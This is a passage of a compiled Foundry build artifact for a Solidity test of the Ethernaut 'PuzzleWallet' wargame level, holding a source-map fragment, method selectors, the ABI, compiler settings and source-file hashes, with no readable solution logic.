:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18457:801::-;18617:4;18646:2;18686;18675:9;18671:18;18716:2;18705:9;18698:21;18739:6;18774;18768:13;18805:6;18797;18790:22;18843:2;18832:9;18828:18;18821:25;;18905:2;18895:6;18892:1;18888:14;18877:9;18873:30;18869:39;18855:53;;18943:2;18935:6;18931:15;18964:1;18974:255;18988:6;18985:1;18982:13;18974:255;;;19081:2;19077:7;19065:9;19057:6;19053:22;19049:36;19044:3;19037:49;19109:40;19142:6;19133;19127:13;19109:40;:::i;:::-;19099:50;-1:-1:-1;19207:12:155;;;;19172:15;;;;19010:1;19003:9;18974:255;;20857:184;20927:6;20980:2;20968:9;20959:7;20955:23;20951:32;20948:52;;;20996:1;20993;20986:12;20948:52;-1:-1:-1;21019:16:155;;20857:184;-1:-1:-1;20857:184:155:o;21046:125::-;21111:9;;;21132:10;;;21129:36;;;21145:18;;:::i;21176:383::-;21373:2;21362:9;21355:21;21336:4;21399:45;21440:2;21429:9;21425:18;21417:6;21399:45;:::i;:::-;21492:9;21484:6;21480:22;21475:2;21464:9;21460:18;21453:50;21520:33;21546:6;21538;21520:33;:::i;:::-;21512:41;21176:383;-1:-1:-1;;;;;21176:383:155:o;21564:335::-;21643:6;21696:2;21684:9;21675:7;21671:23;21667:32;21664:52;;;21712:1;21709;21702:12;21664:52;21745:9;21739:16;21778:18;21770:6;21767:30;21764:50;;;21810:1;21807;21800:12;21764:50;21833:60;21885:7;21876:6;21865:9;21861:22;21833:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/PuzzleWallet.t.sol\":\"TestPuzzleWallet\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/helpers/Upgradeable